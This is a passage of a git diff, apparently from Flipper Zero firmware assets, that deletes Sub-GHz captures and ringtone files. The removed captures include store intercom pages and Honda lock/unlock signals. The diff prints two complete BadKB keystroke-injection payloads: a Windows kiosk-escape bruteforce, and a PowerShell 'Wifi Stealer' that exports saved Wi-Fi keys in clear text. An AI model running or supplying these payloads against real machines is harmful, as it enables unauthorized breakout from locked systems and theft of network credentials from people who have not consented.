assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_07_3.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_07_4.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_08_1.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_08_2.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_08_3.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_08_4.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_09_1.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_09_2.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_09_3.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_09_4.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_10_1.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_10_2.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_10_3.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_10_4.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_11_1.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_11_2.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_11_3.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_11_4.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_12_1.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_12_2.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_12_3.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_12_4.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_13_1.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_13_2.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_13_3.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_13_4.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_14_1.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_14_2.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_14_3.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_14_4.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_15_1.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_15_2.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_15_3.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_15_4.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_off.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/ReadMe.md delete mode 100644 assets/resources/subghz/Misc/Sextoy/Sexrabbit_Vibrator/Power_Toggle_Long_Press.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Sextoy1.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Sextoy2.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Sextoy3.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Sextoy4.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Sinful Bullet Vibrator/ReadMe.md delete mode 100644 assets/resources/subghz/Misc/Sextoy/Sinful Bullet Vibrator/Sinful_level.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Sinful Bullet Vibrator/Sinful_power.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Sway Vibes 3/ReadMe.md delete mode 100644 assets/resources/subghz/Misc/Sextoy/Sway Vibes 3/Sway_vib_mode.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Sway Vibes 3/Sway_vib_on_off.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Aisle_Eight.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Aisle_Eighteen.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Aisle_Eleven.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Aisle_Fifteen.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Aisle_Five.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Aisle_Four.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Aisle_Fourteen.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Aisle_Nineteen.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Aisle_One.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Aisle_Seven.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Aisle_Seventeen.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Aisle_Six.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Aisle_Sixteen.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Aisle_Ten.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Aisle_Thirteen.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Aisle_Three.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Aisle_Twelve.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Aisle_Twenty.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Aisle_Two.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Allergy_Department.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Baby_Formula.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Batteries.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Body_Wash.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Cashier_to_the_Front_of_the_Store.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Clinic_1_Medical_Alert_to_the.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Cosmetics_Department.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Cough_Cold.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Customer_Service_Scan_All_Aisles.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Dental_Care.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Deodorants.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Diet_and_Nutrition_Department.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Ding_1.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Electric_Razors.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Electronics.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Eye_Care_Department.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Family_Planning.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Film_Department.sub delete mode 100644 assets/resources/subghz/Stores/CVS/First_Aid_Department.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Foot_Care_Department.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Fragrance_Case.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Hair-Care_Department.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Health_Department_OTC_Health.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Karen_Manager.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Karen_Security.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Liquor_Department.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Pain_Reliever_Department.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Pharmacy.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Photo_Lab.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Pre-Recorded_Video_Department.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Recordable_Media_Department.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Skin_Care_Department.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Small_Appliances.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Special_Ding.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Stationery.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Stomach_Remedies.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Telecommunications_Department.sub delete mode 100644 assets/resources/subghz/Stores/CVS/Vitamin_Department.sub delete mode 100644 assets/resources/subghz/Stores/Lowes/Appliance_Desk.sub delete mode 100644 assets/resources/subghz/Stores/Lowes/Blind_Cutting.sub delete mode 100644 assets/resources/subghz/Stores/Lowes/Electrical.sub delete mode 100644 assets/resources/subghz/Stores/Lowes/Flooring_Desk.sub delete mode 100644 assets/resources/subghz/Stores/Lowes/Outdoor_Power_Equipment_Desk.sub delete mode 100644 assets/resources/subghz/Stores/Lowes/Packaged_Rugs.sub delete mode 100644 assets/resources/subghz/Stores/Lowes/Wirecutting.sub delete mode 100644 assets/resources/subghz/Stores/Walgreens/Walgreens_Cough.sub delete mode 100644 assets/resources/subghz/Stores/Walgreens/Walgreens_Skincare.sub delete mode 100644 assets/resources/subghz/Stores/Walgreens/Walgreens_Vitamin.sub delete mode 100644 assets/resources/subghz/Vehicles/Ford/ford_signal_block_1.sub delete mode 100644 assets/resources/subghz/Vehicles/Ford/ford_signal_block_2.sub delete mode 100644 assets/resources/subghz/Vehicles/Misc/Lock_honda.sub delete mode 100644 assets/resources/subghz/Vehicles/Misc/Unlock_honda.sub delete mode 100644 assets/resources/subghz/playlist/CVS_playlist.txt delete mode 100644 assets/resources/subghz/playlist/Ford Playlist.txt delete mode 100644 assets/resources/subghz/playlist/Lowes_playlist.txt delete mode 100644 assets/resources/subghz/playlist/Walgreens_playlist.txt delete mode 100644 assets/resources/subghz/remote/CVS_Walgreens.txt delete mode 100644 assets/resources/subghz/remote/Gas_Sign_Edit.txt delete mode 100644 assets/resources/subghz/remote/Ridin_Dirty.txt delete mode 100644 assets/resources/wav_player/sonicscrewdriver.wav diff --git a/assets/resources/badkb/Kiosk-Evasion-Bruteforce.txt b/assets/resources/badkb/Kiosk-Evasion-Bruteforce.txt deleted file mode 100644 index 5dc478a61..000000000 --- a/assets/resources/badkb/Kiosk-Evasion-Bruteforce.txt +++ /dev/null @@ -1,473 +0,0 @@ -REM KIOSK EVASION EXPERIEMENTAL PAYLOADS -REM Target: Windows -REM Stop this script when evasion is succeed -REM and run your true payload -REM optimised for Flipper Zero -REM Auth: @nocomp -REM Source: https://github.com/nocomp/Kiosk-evasion-BADUsb-Bruteforce -DELAY 2000 -ALT F4 -DELAY 700 -ALT SPACE -DELAY 700 -ALT TAB -DELAY 700 -CTRL B -DELAY 700 -CTRL ALT DEL -DELAY 700 -CTRL ESC -DELAY 700 -CTRL F4 -DELAY 700 -CTRL P -DELAY 700 -CTRL SHIFT ESC -DELAY 700 -CTRL TAB -DELAY 700 -CTRL GUI F -DELAY 700 -F1 -DELAY 500 -F3 -DELAY 500 -SHIFT -SHIFT -SHIFT -SHIFT -SHIFT -DELAY 700 -GUI BREAK -DELAY 500 -GUI d -DELAY 700 -GUI e -DELAY 700 -GUI F1 -DELAY 700 -GUI r -DELAY 700 -GUI t -DELAY 700 -GUI u -DELAY 700 -GUI p -DELAY 700 -GUI c -DELAY 700 -GUI v -DELAY 700 -GUI k -DELAY 700 -GUI a -DELAY 700 -GUI SPACEBAR -DELAY 700 -GUI a -DELAY 700 -GUI b -DELAY 700 -GUI c -DELAY 700 -GUI d -DELAY 700 -GUI e -DELAY 700 -GUI f -DELAY 700 -GUI g -DELAY 700 -GUI h -DELAY 700 -GUI i -DELAY 700 -GUI j -DELAY 700 -GUI k -DELAY 700 -GUI m -DELAY 700 -GUI n -DELAY 700 -GUI o -DELAY 700 -GUI p -DELAY 700 -GUI q -DELAY 700 -GUI r -DELAY 700 -GUI s -DELAY 700 -GUI t -DELAY 700 -GUI u -DELAY 700 -GUI v -DELAY 700 -GUI w -DELAY 700 -GUI x -DELAY 700 -GUI y -DELAY 700 -GUI z -DELAY 700 -CTRL a -DELAY 700 -CTRL b -DELAY 700 -CTRL c -DELAY 700 -CTRL d -DELAY 700 -CTRL e -DELAY 700 -CTRL f -DELAY 700 -CTRL g -DELAY 700 -CTRL h -DELAY 700 -CTRL i -DELAY 700 -CTRL j -DELAY 700 -CTRL k -DELAY 700 -CTRL l -DELAY 700 -CTRL m -DELAY 700 -CTRL n -DELAY 700 -CTRL o -DELAY 700 -CTRL p -DELAY 700 -CTRL q -DELAY 700 -CTRL r -DELAY 700 -CTRL s -DELAY 700 -CTRL t -DELAY 700 -CTRL u -DELAY 700 -CTRL v -DELAY 700 -CTRL w -DELAY 700 -CTRL x -DELAY 700 -CTRL y -DELAY 700 -CTRL z -DELAY 700 -REM TASK MANAGER -DELAY 500 -CTRL SHIFT ESC -DELAY 500 -REM HIDDEN ADMIN MENU -DELAY 500 -CTRL ALT F8 -DELAY 500 -CTRL ESC F9 -REM MOUSE KEYS -DELAY 500 -SHIFT ALT NUMLOCK -DELAY 500 -REM CONTEXT MENU -DELAY 500 -SHIFT F10 -DELAY 500 -F1 -DELAY 500 -GUI r -ALTSTRING shell:Administrative Tools -ENTER -DELAY 500 -GUI r -ALTSTRING shell:DocumentsLibrary -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING shell:Libraries -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING shell:UserProfiles -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING shell:Personal -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING shell:SearchHomeFolder -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING shell:NetworkPlacesFolder -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING shell:SendTo -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING shell:UserProfiles -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING shell:Common Administrative Tools -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING shell:MyComputerFolder -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING shell:InternetFolder -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING Shell:Profile -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING Shell:ProgramFiles -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING Shell:System -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING Shell:ControlPanelFolder -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING Shell:Windows -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING shell:::{21EC2020 3AEA 1069 A2DD 08002B30309D} -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING shell:::{20D04FE0 3AEA 1069 A2D8 08002B30309D} -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING shell:::{{208D2C60 3AEA 1069 A2D7 08002B30309D}} -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING shell:::{871C5380 42A0 1069 A2EA 08002B30309D} -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING file:///C:/Kiosk/HTML/index.html -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING file:///C:/Users/KioskRestricted -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING File:/C:/windows -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING File:/C:\windows\ -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING File:/C:\windows/ -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING File:/C:/windows -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING File://C:/windows -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING File://C:\windows/ -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING file://C:\windows -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING C:/windows -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING C:\windows\ -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING C:\windows -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING C:/windows/ -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING C:/windows\ -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING %WINDIR% -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING %TMP% -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING %TEMP% -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING %SYSTEMDRIVE% -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING %SYSTEMROOT% -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING %APPDATA% -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING %HOMEDRIVE% -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING %HOMESHARE% -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING Callto:// -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING Gopher:// -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING DHCP:// -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING Telnet:// -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING TN3270:// -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING Rlogin:// -ENTER -DELAY 500 -GUI r -DELAY 500 -ALTSTRING LDAP:// -DELAY 500 -GUI r -DELAY 500 -ALTSTRING News:// -DELAY 500 -GUI r -DELAY 500 -ALTSTRING Mailto:// -DELAY 500 -GUI r -DELAY 500 -ALTSTRING MMS:// -DELAY 500 -GUI r -DELAY 500 -ALTSTRING SKYPE:// -DELAY 500 -GUI r -DELAY 500 -ALTSTRING SIP:// -DELAY 500 -GUI r -DELAY 500 -ALTSTRING Play:// -DELAY 500 -GUI r -DELAY 500 -ALTSTRING Steam:// -DELAY 500 -GUI r -DELAY 500 -ALTSTRING Quicktime:// -DELAY 500 -GUI r -DELAY 500 -ALTSTRING smb:// -DELAY 500 -GUI r -DELAY 500 -ALTSTRING ftp:// diff --git a/assets/resources/badkb/Wifi-Stealer_ORG.txt b/assets/resources/badkb/Wifi-Stealer_ORG.txt deleted file mode 100644 index d6c0aeaca..000000000 --- a/assets/resources/badkb/Wifi-Stealer_ORG.txt +++ /dev/null @@ -1,13 +0,0 @@ -REM Title: Wifi Stealer -REM Author: 7h30th3r0n3 -REM Target: Tested on Windows 7/8/10/11 -REM Version: 1.0 -REM Category: Grabber -REM Extracts the SSID and wifi shared key and puts them in a txt file named 0.txt on the desktop -GUI r -DELAY 500 -STRING powershell -ENTER -DELAY 500 -STRING cd C:\Users\$env:UserName\Desktop; netsh wlan export profile key=clear; Select-String -Path WiFi-* -Pattern 'keyMaterial' | % { $_ -replace '', ''} | % {$_ -replace "C:\\Users\\$env:UserName\\Desktop\\", ''} | % {$_ -replace '.xml:22:', ''} > 0.txt; del WiFi-*;exit -ENTER diff --git a/assets/resources/music_player/Contra.txt b/assets/resources/music_player/Contra.txt deleted file mode 100644 index bbe6c1c29..000000000 --- a/assets/resources/music_player/Contra.txt +++ /dev/null @@ -1 +0,0 @@ -contra:d=4,o=5,b=285:a#,a#,c#6,a#,e.6,d#.6,c#6,a#,a#,c#6,a#,e.6,d#.6,c#6,a#,a#,c#6,a#,e.6,d#.6,c#6,a#,a#,c#6,a#,d#.6,e.6,f6,c6,c6,d#6,c6,f#.6,f.6,d#6,c6,c6,d#6,c6,f#.6,f.6,d#6,c6,c6,d#6,c6,f#.6,f.6,d#6,c6,c6,d#6,c6,f.6,f#.6,g6 \ No newline at end of file diff --git a/assets/resources/music_player/Doom.txt b/assets/resources/music_player/Doom.txt deleted file mode 100644 index 155d81409..000000000 --- a/assets/resources/music_player/Doom.txt +++ /dev/null @@ -1 +0,0 @@ -Doom:d=32,o=4,b=56:f,f,f5,f,f,d#5,f,f,c#5,f,f,b,f,f,c5,c#5,f,f,f5,f,f,d#5,f,f,c#5,f,f,8b.,f,f,f5,f,f,d#5,f,f,c#5,f,f,b,f,f,c5,c#5,f,f,f5,f,f,d#5,f,f,c#5,f,f,8b.,a#,a#,a#5,a#,a#,g#5,a#,a#,f#5,a#,a#,e5,a#,a#,f5,f#5,a#,a#,a#5,a#,a#,g#5,a#,a#,f#5,a#,a#,8e5 \ No newline at end of file diff --git a/assets/resources/music_player/Evangelion.txt b/assets/resources/music_player/Evangelion.txt deleted file mode 100644 index 3f5314bea..000000000 --- a/assets/resources/music_player/Evangelion.txt +++ /dev/null @@ -1 +0,0 @@ -Evangelion:d=4,o=5,b=90:c,d#,8f.,8d#.,8f,f,8a#,8g#,16g,8f,8g.,8p,g,a#,8c.6,8f.,8d#,a#,8g,8a#,8a#.,1c6,1p,8d#,16a#4,16p,a#4,8p,16d#,16p,16a#4,16p,a#4,8p,8a#4,6g,6g#,6g,6f,6d#,6f,6g,6g#,6g,c,8p,16c,16d,6d#,6d#,6d,d,8p,16d#,16f,6g#,6g,6f,d#,8p,8g,6g,6f,6e,f,c,c.,8d,d.,p.,8d#,a#.4,8p,16d#,16p,8d#.,8f,16p,16a#4,16p,a#4,8p,8a#4,6g,6g#,6g,6f,6d#,6f,6g,6g#,6g,c,8p,16c,16d,6d#,6d#,6d,d,8p,16d#,16f,6g#,6g,6f,d#,8p,8g,6g \ No newline at end of file diff --git a/assets/resources/music_player/Evangelion_Exp.txt b/assets/resources/music_player/Evangelion_Exp.txt deleted file mode 100644 index 41632bed3..000000000 --- a/assets/resources/music_player/Evangelion_Exp.txt +++ /dev/null @@ -1 +0,0 @@ -Evangelion:d=4,o=5,b=80:1p,c,d#,8f.,8d#.,8f,f,8a#,8g#,16g,8f,8g.,8p,g,a#,8c.6,8f.,8d#,a#,8g,8a#,8a#.,1c6,1p,8d#,16a#4,16p,a#4,8p,16d#,16p,8d#.,8f,16p,16a#4,16p,a#4,8p,8a#4,6g,6g#,6g,6f,6d#,6f,6g,6g#,6g,c,8p,16c,16d,6d#,6d#,6d,d,8p,16d#,16f,6g#,6g,6f,d#,8p,8g,6g,6f,6e,f,c,c.,8d,d.,p.,8d#,a#.4,8p,16d#,16p,8d#.,8f,16p,16a#4,16p,a#4,8p,8a#4,6g,6g#,6g,6f,6d#,6f,6g,6g#,6g,c,8p,16c,16d,6d#,6d#,6d,d,8p,16d#,16f,6g#,6g,6f,d#,8p,8g,6g,6f,6e,480f,6p,6g,6g#,2g,2p,6d#,6d#,6d,6d#,6d#,6d,6f,6f,6d#,6d,6c,6d,6d#,6d#,6d,6f,6d,6c,2a#4,2p,6d#,6d#,6d,6d#,6d#,6d,6f,6f,6d#,6d,6d#,6f,6g,6g#,6g,6f,6d#,6f,2g,2p,c,d#,8f.,8d#.,8f,f,8a#,8g#,16g,8f,3g,g,a#,8c.6,8f.,8d#,16d.,32p,16d.,32p,8c,8d,16f,8d#,3d#,c,d#,8f.,8d#.,8f,f,8a#,8g#,16g,8f,3g,g,a#,8c.6,8f.,8d#,16a#.,32p,16a#.,32p,8g,8a#,8a#.,3c6,c,d#,8f.,8d#.,8f,f,8a#,8g#,16g,8f,3g,g,a#,8c.6,8f.,8d#,16a#.,32p,16a#.,32p,8g,8a#,8a#.,8c.6,1p,8d#,16a#4,16p,a#4,8p,16d#,16p,8d#.,8f,16p,16a#4,16p,a#4,8p,8a#4,6g,6g#,6g,6f,6d#,6f,6g,6g#,6g,c,8p,16c,16d,6d#,6d#,6d,d,8p,16d#,16f,6g#,6g,6f,d#,8p,8g,6g,6f,6e,f,c,c.,8d,d.,p.,8d#,a#.4,8p,16d#,16p,8d#.,8f,16p,16a#4,16p,a#4,8p,8a#4,6g,6g#,6g,6f,6d#,6f,6g,6g#,6g,c,8p,16c,16d,6d#,6d#,6d,d,8p,16d#,16f,6g#,6g,6f,d#,8p,8g,6g,6f,6e,480f,6p,6g,6g#,2g,2p,6d#,6d#,6d,6d#,6d#,6d,6f,6f,6d#,6d,6c,6d,6d#,6d#,6d,6f,6d,6c,2a#4,2p,6d#,6d#,6d,6d#,6d#,6d,6f,6f,6d#,6d,6d#,6f,6g,6g#,6g,6f,6d#,6f,2g,2p,c,d#,8f.,8d#.,8f,f,8a#,8g#,16g,8f,3g,g,a#,8c.6,8f.,8d#,16d.,32p,16d.,32p,8c,8d,16f,8d#,3d#,c,d#,8f.,8d#.,8f,f,8a#,8g#,16g,8f,3g,g,a#,8c.6,8f.,8d#,16a#.,32p,16a#.,32p,8g,8a#,8a#.,3c6,c,d#,8f.,8d#.,8f,f,8a#,8g#,16g,8f,3g,g,a#,8c.6,8f.,8d#,16a#.,32p,16a#.,32p,8g,8a#,8a#.,8c.6,8p,6d#,6d#,6d,6d#,6d#,6d,6f,6f,6d#,6d,6c,6d,6d#,6d#,6d,6f,6d,6c,2a#4,2p,6d#,6d#,6d,6d#,6d#,6d,6f,6f,6d#,6d,6d#,6f,6g,6g#,6g,6f,6d#,6f,2g,2p,c,d#,8f.,8d#.,8f,f,8a#,8g#,16g,8f,3g,g,a#,8c.6,8f.,8d#,16d.,32p,16d.,32p,8c,8d,16f,8d#,3d#,c,d#,8f.,8d#.,8f,f,8a#,8g#,16g,8f,3g,g,a#,8c.6,8f.,8d#,16a#.,32p,16a#.,32p,8g,8a#,8a#.,3c6,c,d#,8f.,8d#.,8f,f,8a#,8g#,16g,8f,3g,g,a#,8c.6,8f.,8d#,16a#.,32p,16a#.,32p,8g,8a#,8a#.,8c.6 \ No newline at end of file diff --git a/assets/resources/music_player/FF7_Victory_Fanfare.fmf b/assets/resources/music_player/FF7_Victory_Fanfare.fmf deleted file mode 100644 index 70833061c..000000000 --- a/assets/resources/music_player/FF7_Victory_Fanfare.fmf +++ /dev/null @@ -1,8 +0,0 @@ -# Final Fantasy 7 Victory Fanfare -# -Filetype: Flipper Music Format -Version: 0 -BPM: 125 -Duration: 4 -Octave: 5 -Notes: 8p,32c6,32d6,32e6,32f#6,32g6,32a6,32b6,32c7,32p,32c7,32p,32c7,32p,c7,g#6,a#6,32c7,8p,16a#6,2c7 \ No newline at end of file diff --git a/assets/resources/music_player/FF9_To_Zanarkand.txt b/assets/resources/music_player/FF9_To_Zanarkand.txt deleted file mode 100644 index f2f0d3814..000000000 --- a/assets/resources/music_player/FF9_To_Zanarkand.txt +++ /dev/null @@ -1 +0,0 @@ -to_zanarkand:d=8,o=5,b=109:e,e4,g4,b4,e,f#,g,4p,d,d4,f#4,a4,d,e,f#,4p,4b4,4b4,4b4,4b4,4a4,d,f#4,4p,4e,4e,4d,g,c,e,e,4p,4e,b4,e,f#,g,f#,e,4d,e,d,b4,4p,4e,b4,e,f#,g,4f#,4g,4a,g,3a,b,4p,4e,b4,e,f#,g,3f#,3e,4d,e,4d,b4,g4,a4,4b4,4b4,4b4,4b4,4a4,d,4g4,4p,g4,f#4,d4,e4,b3,e4,f#4,g4,c,e,e4,g4,b4,e,f#,a,4p,e6,e6,d6,c6,4b,g6,g6,4p,4b,f6,f6,4b,f6,f6,4a,e6,e6,d#,4b4,f#,f#,e,d,c#,4p,a,a,4p,g#,e,c#,b4,4p,f#,a4,f#,a,b diff --git a/assets/resources/music_player/FF9_chocobo_theme.txt b/assets/resources/music_player/FF9_chocobo_theme.txt deleted file mode 100644 index 0973cdabf..000000000 --- a/assets/resources/music_player/FF9_chocobo_theme.txt +++ /dev/null @@ -1 +0,0 @@ -ChocoboTheme:d=4,o=6,b=160:32e5,32f5,32g5,32a5,32b5,32c,32d,32e,32f,32a,32b,16d7,8p,8b,8g,8e,8d7,8b,8g,8b,8p,8g,8p,b,8p,16a,16p,16g,16p,16g,16a,16g,16p,16f,16p,g,8p,16f,16p,16g,16p,16g,16b,16d7,16e7,16p,f7 \ No newline at end of file diff --git a/assets/resources/music_player/FF9_moogle_theme.txt b/assets/resources/music_player/FF9_moogle_theme.txt deleted file mode 100644 index 8e2c4182c..000000000 --- a/assets/resources/music_player/FF9_moogle_theme.txt +++ /dev/null @@ -1 +0,0 @@ 